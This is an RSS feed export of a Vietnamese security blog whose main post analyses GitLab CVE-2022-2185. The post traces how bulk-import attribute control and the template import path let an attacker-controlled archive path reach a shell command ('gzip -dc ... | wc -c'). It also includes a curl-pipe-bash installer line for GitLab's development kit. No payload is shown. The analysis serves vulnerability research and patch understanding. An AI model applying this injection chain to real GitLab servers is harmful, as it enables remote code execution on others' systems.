<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Jangggg's Blog]]></title><description><![CDATA[Jangggg's Blog]]></description><link>https://testanull.com</link><generator>RSS for Node</generator><lastBuildDate>Mon, 11 May 2026 15:02:15 GMT</lastBuildDate><atom:link href="https://testanull.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Gitlab Project Import RCE Analysis (CVE-2022-2185)]]></title><description><![CDATA[Khoảng đầu tháng này, gitlab có release một bản vá bảo mật cho các phiên bản từ 14->15, khá thú vị là trong advisory có nhắc đến một bug post-auth RCE với CVSS 9.9. 

Bug này tồn tại trong tính năng "Project Imports" của gitlab, được tìm ra bởi @vakz...]]></description><link>https://testanull.com/gitlab-project-import-rce-analysis-cve-2022-2185</link><guid isPermaLink="true">https://testanull.com/gitlab-project-import-rce-analysis-cve-2022-2185</guid><category><![CDATA[GitLab]]></category><category><![CDATA[RCE]]></category><category><![CDATA[command injection]]></category><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Wed, 20 Jul 2022 11:23:22 GMT</pubDate><content:encoded><![CDATA[<p>Khoảng đầu tháng này, gitlab có release một bản vá bảo mật cho các phiên bản từ 14-&gt;15, khá thú vị là trong advisory có nhắc đến một bug post-auth RCE với CVSS 9.9. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658296947592/WqiuO9CGH.png" alt="image.png" />
Bug này tồn tại trong tính năng "Project Imports" của gitlab, được tìm ra bởi <a target="_blank" href="https://hackerone.com/vakzz">@vakzz</a>. Thật tình cờ, khi mò mẫm trong profile h1 của tác giả, tôi có thấy vào 4 tháng trước ông cũng tìm ra 1 bug tại tính năng import project:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658297019330/AS6McqcnC.png" alt="image.png" /></p>
<p>Nghĩ tưởng ngon ăn nên tôi đã đâm đầu vào học Rails và debug cái bug này! (ai dè 30k ko hề dễ ăn như vậy ( ͡° ͜ʖ ͡°) )</p>
<p>Lưu ý là bài có thể sẽ khá dài hơn so với thông thường, nếu đọc để giải trí và tìm PoC thì bạn đọc có thể lướt tới phần cuối xem video tạm vậy!</p>
<h1 id="heading-environment-setup-andamp-debugging">ENVIRONMENT SETUP &amp; DEBUGGING</h1>
<p>Phần này cũng khá là cồng kềnh, trắc trở và khó khăn, yêu cầu sự kiên nhẫn tới từ vị trí của Re-Searcher!
Ban đầu thì mình có tham khảo bài của một bạn ở Sun* để setup env, tuy nhiên sau khi chạy thì khá là chậm, và rất unreliable nên mình quyết định tự setup vậy!
Môi trường mình sử dụng máy ảo Ubuntu Desktop 18.04.
Đầu tiên là setup bộ GDK của gitlab lên trước:</p>
<pre><code>apt <span class="hljs-keyword">update</span>
apt <span class="hljs-keyword">install</span> make git -y
curl <span class="hljs-string">"https://gitlab.com/gitlab-org/gitlab-development-kit/-/raw/main/support/install"</span> | bash
</code></pre><p>Chờ đâu đó khoảng 15-30p thì gdk sẽ được setup xong, tiếp theo là check out phiên bản có lỗi của gitlab:</p>
<pre><code>cd gitlab<span class="hljs-operator">-</span>development<span class="hljs-operator">-</span>kit<span class="hljs-operator">/</span>gitlab<span class="hljs-operator">/</span>
git checkout v15<span class="hljs-number">.1</span><span class="hljs-number">.0</span><span class="hljs-operator">-</span>ee
</code></pre><p>Sau khi checkout thì sửa các file sau:</p>
<ul>
<li>config/gitlab.yml, tìm dòng config host của gitlab, sửa thành ip của máy ảo để có thể browse từ bên ngoài vào<pre><code><span class="hljs-attr">gitlab:</span>
  <span class="hljs-comment">## Web server settings (<span class="hljs-doctag">note:</span> host is the FQDN, do not include http://)</span>
  <span class="hljs-attr">host:</span> <span class="hljs-number">192.168</span><span class="hljs-number">.139</span><span class="hljs-number">.137</span>
  <span class="hljs-attr">port:</span> <span class="hljs-number">3000</span>
  <span class="hljs-attr">https:</span> <span class="hljs-literal">false</span>
</code></pre>Tìm tiếp các dòng có key <code>webpack</code>, set enabled: false:<pre><code><span class="hljs-attr">webpack:</span>
  <span class="hljs-attr">dev_server:</span>
    <span class="hljs-attr">enabled:</span> <span class="hljs-literal">false</span>
</code></pre></li>
</ul>
<p>Sau khi sửa xong, vào folder gitlab/ gõ lệnh sau để compile các resource của server:</p>
<pre><code><span class="hljs-selector-tag">rake</span> <span class="hljs-selector-tag">gitlab</span><span class="hljs-selector-pseudo">:assets</span><span class="hljs-selector-pseudo">:compile</span>
</code></pre><ul>
<li>config/puma.rb, tìm dòng khai báo <code>workers</code>, comment lại:<pre><code><span class="hljs-comment"># workers 2</span>
</code></pre>Khi đã sửa các file config xong xuôi, gõ tiếp các lệnh sau để start các service liên quan:<pre><code>gdk stop
gdk start webpack rails<span class="hljs-operator">-</span>background<span class="hljs-operator">-</span>jobs sshd praefect praefect<span class="hljs-operator">-</span>gitaly<span class="hljs-number">-0</span> redis postgresql
</code></pre>Về phía IDE, mình sử dụng RubyMine (một sản phẩm của Jetbrains).
Dùng RubyMine, browse tới và mở folder <code>gitlab</code>, IDE sẽ tự detect và setup các component liên quan.
Thêm debug config bằng cách mở Run &gt; Edit Configurations</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658298687937/k2F2kciPS.png" alt="image.png" /></p>
<p>Thêm 1 config <code>Rails</code> như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658298833286/8PfGHvCU9.png" alt="image.png" /></p>
<p>Và 1 config sidekiq:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658298811117/EkkRzW9m_.png" alt="image.png" /></p>
<p>Trong trường hợp sử dụng source code clone từ repo của gitlab về, các config để debug đã có sẵn, không cần phải setup thêm</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658298597049/uuYl6njop.png" alt="image.png" /></p>
<p>Như vậy là đã có thể debug ngon nghẻ rồi, mặc dù sidekiq chạy không ổn định lắm, sẽ có trường hợp debug bị miss mất workers, hiện tại mình vẫn chưa rõ tại sao.</p>
<h1 id="heading-cve-2022-2185-analysis">CVE-2022-2185 ANALYSIS</h1>
<p>Mình dựa vào một bug report trước đó của @vakzz để phân tích bug này, mặc dù sự liên quan giữa 2 bug là không nhiều lắm, nhưng vẫn khuyên bạn đọc nên đọc qua tại <a target="_blank" href="https://hackerone.com/reports/1439593">đây</a>.</p>
<h2 id="heading-relate-information">Relate information</h2>
<p>Dựa vào thông tin có được từ chính trang lưu thông tin CVE của gitlab <a target="_blank" href="https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-2185.json">CVE-2022-2185.json</a>, ta biết được bug này là một dạng command injection, </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658299517871/cExf2_g7y.png" alt="image.png" /></p>
<p>Mặc dù trong phần references có để lại link tới hackerone report và gitlab issue nhưng hiện tại đều đang để ở private mode:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658299581044/YCyFBCE3_.png" alt="image.png" /></p>
<p>Đọc các commit trên <a target="_blank" href="https://gitlab.com/gitlab-org/gitlab/-/commits/v15.1.1-ee">gitlab-v15.1.1</a> thì cũng may mắn một chút là không có nhiều commit lắm, trong đó có một commit đáng chú ý như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658300203657/EqQ0-QoVg.png" alt="image.png" /></p>
<p>Commit <a target="_blank" href="https://gitlab.com/gitlab-org/gitlab/-/commit/5d58c705ab8a70ee280d735222491af0ef7252fc">5d58c705</a> có tên khá thú vị và liên quan tới bug này <code>security-update-bulk-imports-project-pipeline-15-1</code></p>
<p>Một số thay đổi đáng chú trong commit này:
Tại lib/gitlab/import_export/<strong>decompressed_archive_size_validator.rb</strong>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658301328134/GzFGSE56c.png" alt="image.png" /></p>
<p>Method validate_archive_path check các trường hợp @archive_path là Symlink, không phải là String hoặc không phải là File</p>
<pre><code class="lang-ruby">     <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">validate_archive_path</span></span>
        Gitlab::Utils.check_path_traversal!(@archive_path)

        raise(ServiceError, <span class="hljs-string">'Archive path is not a string'</span>) <span class="hljs-keyword">unless</span> @archive_path.is_a?(String)
        raise(ServiceError, <span class="hljs-string">'Archive path is a symlink'</span>) <span class="hljs-keyword">if</span> File.lstat(@archive_path).symlink?
        raise(ServiceError, <span class="hljs-string">'Archive path is not a file'</span>) <span class="hljs-keyword">unless</span> File.file?(@archive_path)
      <span class="hljs-keyword">end</span>
</code></pre>
<p>Chương trình sau khi validate_archive_path sẽ tiếp tục gọi tới Open3.popen3(command, pgroup: true) để chạy command
Đoạn khai báo command như sau:</p>
<pre><code class="lang-ruby">    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">command</span></span>
        <span class="hljs-string">"gzip -dc <span class="hljs-subst">#{@archive_path}</span> | wc -c"</span>
      <span class="hljs-keyword">end</span>
</code></pre>
<p>Method này trực tiếp nối chuỗi @archive_path vào command <code>gzip -dc</code>, do đó mình suy đoán bug command injection xảy ra tại vị trí này!
(Ruby suck, function mà call như attribute vkl ?!)</p>
<p>class DecompressedArchiveSizeValidator được sử dụng ở 2 vị trí đó là:</p>
<ul>
<li>file_importer.rb</li>
<li>file_decompression_service.rb</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658302423552/QkFynW444.png" alt="image.png" /></p>
<hr />
<h4 id="heading-side-note-ve-workers-trong-gitlab">Side note về workers trong gitlab</h4>
<p>Gitlab hoạt động theo cơ chế là giao diện web chỉ thực hiện xử lý các tác vụ chung chung, khi liên quan tới các tác vụ chính, nặng hơn, nó sử dụng thêm sidekiq với vai trò như là các worker, thực hiện các job từ web controller đẩy qua.
Đây cũng là lý do mà khi setup debug phải thêm cả config để debug sidekiq</p>
<hr />
<h3 id="heading-case-1">Case 1:</h3>
<p>Với nhánh file_importer.rb, ta bắt đầu từ <strong>Import::GitlabProjectsController</strong>.create và gọi tới Projects::GitlabProjectsImportService.new(current_user, project_params).execute để tạo job</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658302750887/3MsFZzFfD.png" alt="image.png" /></p>
<p>Dòng 17, 18, 19 đã bị comment để việc debug được dễ dàng hơn, không hiểu tại sao mà môi trường debug bằng GDK lại bị lỗi, tất cả các file upload lên đều bị báo invalid!! Vấn đề này không xảy ra tại các bản product.</p>
<p><code>project_params</code> đã bị limit, chỉ cho phép truyền vào các tham số: name, path, namespace_id, file</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658303212059/oBoq3aXE7.png" alt="image.png" /></p>
<p>Stacktrace tới đây như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658302766465/cXcc0U2P0.png" alt="image.png" /></p>
<p>Từ <strong>GitlabProjectsImportService</strong>.execute tiếp tục gọi tới prepare_import_params để sửa, thêm bớt các tham số quan trọng khác (1)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658303538387/mRCbkW__o.png" alt="image.png" /></p>
<p>Sau đó, <strong>GitlabProjectsImportService</strong>.execute lại gọi tới <strong>Projects::CreateService</strong>.execute để tạo Project với params vừa truyền vào của GitlabProjectsController. Tại <strong>Projects::CreateService</strong>.execute, nếu project đang import không phải là một template, method sẽ tiếp tục khởi tạo object Project với params được truyền vào:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658303706477/16CdSHRWi.png" alt="image.png" /></p>
<p>Project được tạo xong thì method sẽ tiếp tục đi vào nhánh gọi tới <code>validate_import_source_enabled!</code> để validate import_type:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658304313745/1Taxfqi_7.png" alt="image.png" /></p>
<p>Trong đó sẽ có 2 nhánh thỏa mãn điều kiện, đầu tiên <code>import_type</code> thuộc một trong các loại sau</p>
<pre><code>INTERNAL_IMPORT_SOURCES = %w[bare_repository gitlab_custom_project_template gitlab_project_migration].<span class="hljs-keyword">freeze</span>
</code></pre><p>Trường hợp thứ 2, <code>import_type</code> sẽ phải tồn tại trong list <strong>Gitlab::CurrentSettings</strong>.import_sources:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658304479539/ECtNohkYw.png" alt="image.png" /></p>
<p>Tạo xong object và thực hiện thêm một số bước modify linh tinh, method này sẽ gọi tới <strong>Projects::CreateService</strong>.import_schedule để thêm schedule cho worker thực hiện việc import:</p>
<pre><code class="lang-ruby">  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">import_schedule</span></span>
      <span class="hljs-keyword">if</span> @project.errors.empty?
        @project.import_state.schedule <span class="hljs-keyword">if</span> @project.import? &amp;&amp; !@project.bare_repository_import? &amp;&amp; !@project.gitlab_project_migration?
      <span class="hljs-keyword">else</span>
        fail(<span class="hljs-symbol">error:</span> @project.errors.full_messages.join(<span class="hljs-string">', '</span>))
      <span class="hljs-keyword">end</span>
    <span class="hljs-keyword">end</span>
</code></pre>
<p>Để có thể được vào schedule import thì project này phải có import_type là 'gitlab_project'.</p>
<p>Sau khi được add vào schedule, worker sẽ nhận job và thực thi như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658304788748/Iy7YVJKWq.png" alt="image.png" /></p>
<p>Stacktrace tới đoạn <strong>DecompressedArchiveSizeValidator</strong>.execute</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658302692407/wj4_jeeyr.png" alt="image.png" /></p>
<p>Tuy nhiên, theo nhánh này thì ta không thể control được @archive_path</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658305003011/9A9-dFC_B.png" alt="image.png" /></p>
<p>Khi worker thực thi job, @archive_file được lấy từ Project.import_source, tuy nhiên attribute này mặc định không được set, có giá trị null!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658305656778/9g5TceyqV.png" alt="image.png" /></p>
<p>Giá trị này vẫn null tại <strong>Gitlab::ImportExport::FileImporter</strong>.new</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658305714179/JIqlwTIVg.png" alt="image.png" /></p>
<p>Chỉ tới khi gọi tới <strong>Gitlab::ImportExport::FileImporter</strong>.copy_archive thì giá trị này mới được set:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658305811798/ibyV3SMJb.png" alt="image.png" /></p>
<p>@archive_file_name được gen dựa trên full_path của Project, giá trị này không thể bị thao túng nên theo nhánh này hiện tại ta không thể có bug command injection được ¯_(ツ)_/¯</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658305865776/es0U1QsRw.png" alt="image.png" /></p>
<h3 id="heading-case-2">Case 2</h3>
<p>Do case thứ nhất, file_importer.rb đã bị phế nên mình chuyển qua nhánh thứ 2 để nghiên cứu, nhánh này là file_decompression_service.rb</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658306430178/EQqdGlIy0.png" alt="image.png" /></p>
<p>Nhánh này khá là ngoằn ngoèo để có thể tìm được payload đúng để access được.</p>
<p>Đầu tiên bạn phải vào phần import group của gitlab, điền các thông tin như Gitlab URL, access token </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658316765091/lZHlnXU-C.png" alt="image.png" /></p>
<p>Sau khi điền đúng ta sẽ vào được trang import như sau, click bừa vào import 1 cái:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658316823856/kuE4Od6lC.png" alt="image.png" /></p>
<p>Để ý trong Burpsuite, ta có một request như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658306834299/BxA7V3ffB.png" alt="image.png" /></p>
<p>Search từ khóa group_entity trong source code, mình phát hiện ngoài group_entity thì còn có cả project_entity:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658306934538/3jMo8ygMR.png" alt="image.png" /></p>
<p>Tính năng này mình không tìm được trên web cũng như document nào, rất có thể đây là một tính năng ẩn, đang phát triển của gitlab!</p>
<p>Tính năng Bulk Import này được handle bởi Import::BulkImportsController</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658307108123/bfWts33b9.png" alt="image.png" /></p>
<p>Sau khi thực thi create_bulk_import, method BulkImportsController.execute tiếp tục gọi tới BulkImportWorker.perform_async, nội dung method như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658307444249/65n4r1Sgd.png" alt="image.png" /></p>
<p>Chú ý vào phần gọi tới <code>BulkImports::CreatePipelineTrackersService.new(entity).execute!</code>. Method này xem xét các Pipeline nào phù hợp để thực thi với các param vừa truyền vào:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658307602547/IGMC4hF8B.png" alt="image.png" /></p>
<p>Ví dụ như với <code>project_entity</code>, ta có một số Pipeline như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658307871944/xloP6mGJs.png" alt="image.png" /></p>
<hr />
<h4 id="heading-site-note-ve-pipeline-trong-bulk-import">Site note về Pipeline trong Bulk Import</h4>
<p>Khái niệm này chỉ giành riêng cho Bulk Import, 
File thực thi các Pipeline này là lib/bulk_imports/pipeline/runner.rb</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658308165180/UNv31xu-z.png" alt="image.png" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658308199083/HgScyCNUC.png" alt="image.png" /></p>
<p>Các Pipeline sẽ có khai báo, override các method như <code>extract</code>, <code>transform</code>, <code>load</code>, <code>after_run</code>.</p>
<p>Runner sẽ duyệt và thực thi các method này theo thứ tự: extract data, transform data, load data, after_run</p>
<p>Và sẽ thực thi lần lượt các Pipeline theo thứ tự được khai báo trong file stage.rb</p>
<hr />
<p>Quay trở lại với Bulk Import project, pipeline ProjectPipeline sẽ là pipeline đầu tiên được thực thi</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658308443455/rLDazlDDU.png" alt="image.png" /></p>
<p>Nội dung của ProjectPipeline:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658308520655/kfhpi8cSs.png" alt="image.png" /></p>
<p>Nội dung của method <code>execute</code> là gọi tới <strong>Projects::CreateService</strong>.execute với tham số <code>params</code> = <code>data</code>. Như đã đề cập trong side note, data chính là dữ liệu được sửa đổi bởi các Transformer</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658308696797/ch0ALwKgx.png" alt="image.png" /></p>
<p>Các extractor và transformer của ProjectPipeline là:</p>
<pre><code class="lang-ruby">extractor <span class="hljs-symbol">:</span><span class="hljs-symbol">:BulkImports</span><span class="hljs-symbol">:</span><span class="hljs-symbol">:Common</span><span class="hljs-symbol">:</span><span class="hljs-symbol">:Extractors</span><span class="hljs-symbol">:</span><span class="hljs-symbol">:GraphqlExtractor</span>, <span class="hljs-symbol">query:</span> Graphql::GetProjectQuery
transformer <span class="hljs-symbol">:</span><span class="hljs-symbol">:BulkImports</span><span class="hljs-symbol">:</span><span class="hljs-symbol">:Common</span><span class="hljs-symbol">:</span><span class="hljs-symbol">:Transformers</span><span class="hljs-symbol">:</span><span class="hljs-symbol">:ProhibitedAttributesTransformer</span>
transformer <span class="hljs-symbol">:</span><span class="hljs-symbol">:BulkImports</span><span class="hljs-symbol">:</span><span class="hljs-symbol">:Projects</span><span class="hljs-symbol">:</span><span class="hljs-symbol">:Transformers</span><span class="hljs-symbol">:</span><span class="hljs-symbol">:ProjectAttributesTransformer</span>
</code></pre>
<p>Theo flow của Pipeline:</p>
<ul>
<li>GraphqlExtractor.extract sẽ lấy dữ liệu từ target về thông qua graphql</li>
<li>ProhibitedAttributesTransformer, ProjectAttributesTransformer sẽ sửa đổi data vừa lấy về</li>
</ul>
<p>Với <code>GraphqlExtractor</code>, trong fix commit của gitlab <code>Graphql::GetProjectQuery</code> được sửa như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658309022234/33VZofoqy.png" alt="image.png" /></p>
<p>Có thể thấy rõ ràng ở đây, số lượng variable cần lấy đã được giảm thiểu đi khá nhiều.</p>
<p>Một ví dụ về data lấy từ GraphqlExtractor:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658310414727/dsVo9nBXc.png" alt="image.png" /></p>
<p>Với <code>ProhibitedAttributesTransformer</code>, chức năng chủ yếu của transformer này là loại bỏ một số attribute nhạy cảm:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658309285179/bPuxmrDxm.png" alt="image.png" /></p>
<p>Với <strong>ProjectAttributesTransformer</strong>.execute:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658309472852/VuohLOXp0S.png" alt="image.png" /></p>
<p>Method này nhận vào data, thực hiện thêm một số bước set các attribute cần thiết như <code>import_type</code>, <code>name</code>, <code>path</code>, sau đó gọi tới <code>data.transform_keys!(&amp;:to_sym)</code> để thực hiện convert tất cả các key của Hash vừa truyền vào sang dạng Symbol.</p>
<p><em>//Trong Ruby có khái niệm Symbol vs String, đại khái Symbol sẽ có dấu hai chấm ":" ở phía trước</em></p>
<p>Đây là một ví dụ sau khi thực hiện <code>data.transform_keys!(&amp;:to_sym)</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658309877006/7l8nuiVEh.png" alt="image.png" /></p>
<ul>
<li>Và nên nhớ rằng, <code>data</code> vẫn hoàn toàn có thể bị control, do nó lấy về từ GraphQL, GraphQL lại lấy từ trang web mà mình control</li>
</ul>
<p>Quay trở lại phần import đã nhắc ở Case 1, ta hoàn toàn có thể ghi lại được project.import_source, từ đó có thể control được @archive_file và RCE (〜￣▽￣)〜</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658310961925/8hRvmEMo4.png" alt="image.png" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658311775582/PpQsC5mE2.png" alt="image.png" /></p>
<p>Trong fix commit của <code>ProjectAttributesTransformer</code>, thay vì nhận vào <code>data</code>, transformer này đã tạo một Hash mới, chỉ thêm một số key/value cần thiết và return đúng Hash đó, nghĩa là đã hạn chế được những attribute khác bị thêm vào:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658310158082/refIojMsJ.png" alt="image.png" /></p>
<p>Trong description, gitlab cũng có đề cập tới <code>special elements</code> này có thể gây ra command injection</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658310269114/Lo94hQqZQ.png" alt="image.png" /></p>
<p>Hiện tại, <code>data</code> sau khi extract và transform sẽ được truyền vào <strong>Projects::CreateService</strong>.execute</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658310364398/ia3aOAn8k.png" alt="image.png" /></p>
<p>Có một điều rất tiếc là project tạo ra từ ProjectPipeline lại chỉ có thể có <code>import_type</code> = 'gitlab_project_migration'</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658310603127/ZoR4ZdBDI.png" alt="image.png" /></p>
<p>Khi check để thêm vào import schedule, project này sẽ bị reject bởi điều kiện <code>!@project.gitlab_project_migration?</code></p>
<pre><code class="lang-ruby">  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">import_schedule</span></span>
      <span class="hljs-keyword">if</span> @project.errors.empty?
        @project.import_state.schedule <span class="hljs-keyword">if</span> @project.import? &amp;&amp; !@project.bare_repository_import? &amp;&amp; !@project.gitlab_project_migration?
      <span class="hljs-keyword">else</span>
        fail(<span class="hljs-symbol">error:</span> @project.errors.full_messages.join(<span class="hljs-string">', '</span>))
      <span class="hljs-keyword">end</span>
    <span class="hljs-keyword">end</span>
</code></pre>
<p>Mặc dù đã có thể control được các attribute của object Project, nhưng attribute quan trọng nhất đã bị ghi đè mất và không có cách nào để ghi đè lại được (thực ra là có nhưng mình sẽ nói trong bài khác).</p>
<hr />
<h3 id="heading-case-1-2-3">Case 1 + 2 = 3</h3>
<p>Và mình bị stuck ở đó gần 2 tuần liền, ...</p>
<p>Cũng một phần là do tính năng debug của ruby khá lởm, lúc thì chạm bp, lúc thì không. Đôi khi RubyMine còn tự dưng crash, khá là đau đầu với đám này.</p>
<p>Cho tới vài ngày gần đây, mình có tìm ra một cách khác debug nhanh hơn mà không cần bật gitlab server, đó là dùng chính cái RSpec của gitlab để debug. Cái thuận tiện của việc này là tránh phải chờ sidekiq bị duplicate job và không chạy job mình đang debug!</p>
<p>Ở đây mình debug ProjectPipeline bằng project_pipeline_spec.rb, sửa một số data liên quan tới project_data rồi chạy là xong:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658311830457/G4cGXipWP.png" alt="image.png" /></p>
<p>Nhờ vậy, việc debug của mình khá là nhanh và đã đạt được một số kết quả mới.</p>
<p>Đọc kỹ lại nhánh <strong>Projects::CreateService</strong>.execute, mình nhận ra là đã bỏ qua mất nhánh xử lý template:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658311960438/vSAvlOvvo.png" alt="image.png" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658312013843/Cu8DrMNZn.png" alt="image.png" /></p>
<p>Nhánh này gọi tới <strong>Projects::CreateFromTemplateService</strong>.execute cùng với <code>params</code> chính là <code>data</code> lấy từ ProjectPipeline. </p>
<p>Method này chủ yếu check sự tồn tại của template_name, sau đó gọi tới <strong>GitlabProjectsImportService</strong>.execute cùng với <code>params</code> để xử lý tiếp:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658312363018/obHgykMf0.png" alt="image.png" /></p>
<p>Như đã nói qua ở phần 1, <strong>GitlabProjectsImportService</strong>.execute sau đó sẽ gọi tới <code>prepare_import_params</code> để xử lý các params:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658312866337/5XQYTiaye.png" alt="image.png" /></p>
<p>Tại đây, nếu đang xử lý template_file, chương trình sẽ ghi đè lại param <code>import_type</code> = 'gitlab_project'. </p>
<p>Sau khi xử lý param xong, <strong>GitlabProjectsImportService</strong>.execute sẽ gọi tiếp tới <strong>Projects::CreateService</strong>.execute để tạo lại project với các params vừa sửa.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658312968035/BXLjqaYcz.png" alt="image.png" /></p>
<p>Như vậy, <code>import_type</code> đã được sửa thành 'gitlab_project', mà chương trình vẫn sử dụng lại các <code>params</code> cũ của Pipeline 
=&gt; RCE ( ͡° ͜ʖ ͡°)( ͡° ͜ʖ ͡°)( ͡° ͜ʖ ͡°)</p>
<p>Có một điểm cần lưu ý của bug này đó là command sẽ không được thực thi luôn.</p>
<p>Tại <strong>Gitlab::ImportExport::FileImporter</strong>.import, method wait_for_archived_file sẽ được gọi để chờ @archive_file tồn tại rồi mới đi vào nhánh xử lý phía dưới (nhánh có thể inject command)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658313742071/q4v6aJJRy.png" alt="image.png" /></p>
<p>Nội dung của wait_for_archived_file:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658313848853/xcquNY_1t.png" alt="image.png" /></p>
<p>Với MAX_RETRIES = 8, đoạn này chương trình sẽ loop 8 lần để chờ file exists, với mỗi lần sẽ sleep 2**i, áp dụng công thức tính tổng chuỗi lũy thừa vừa hỏi được của mấy em năm nhất, ta biết được sẽ phải chờ 2**8 -1 = 255 giây nếu file không tồn tại:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658313968688/LetZV_74O.png" alt="image.png" /></p>
<p>Và với trường hợp file không tồn tại thì method này cũng vẫn tiếp tục gọi tới <code>yield</code> ở phía dưới, đồng nghĩa với việc các statement sau wait_for_archived_file vẫn được gọi bình thường, ví dụ:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658314216882/GpVeHcM41.png" alt="image.png" /></p>
<p>Đến đây thì mọi chuyện về bug này đã sáng tỏ rồi, mặc dù quá trình đọc Ruby/Rails khá là gian nan và đau khổ, nhưng cũng đem lại được nhiều kiến thức và vài thứ hay ho, hy vọng sẽ có đủ để có thể chia sẻ cho bạn đọc trong một ngày không xa!</p>
<p>PoC video: </p>
<p>Đang chờ 255s để trigger bug nên chưa có video!</p>
<p>https://youtu.be/mLotC1oxNm8</p>
]]></content:encoded></item><item><title><![CDATA[Bình cũ rượu mới và Sharepoint Post-Auth RCE (CVE-2022-29108)]]></title><description><![CDATA[Dạo gần đây có chút việc liên quan tới Sharepoint nên mình có chuyển qua tìm hiểu setup và debug những bug cũ của Sharepoint.
Gần đây, hồi tháng 2 có 1 bug Deserialization CVE-2022-22005 (đương nhiên là post-auth), được viết writeup khá đầy đủ bởi 1 ...]]></description><link>https://testanull.com/binh-cu-ruou-moi-va-sharepoint-post-auth-rce-cve-2022-29108</link><guid isPermaLink="true">https://testanull.com/binh-cu-ruou-moi-va-sharepoint-post-auth-rce-cve-2022-29108</guid><category><![CDATA[Security]]></category><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Thu, 12 May 2022 07:09:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1652338404254/mkfzgpAVf.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dạo gần đây có chút việc liên quan tới Sharepoint nên mình có chuyển qua tìm hiểu setup và debug những bug cũ của Sharepoint.</p>
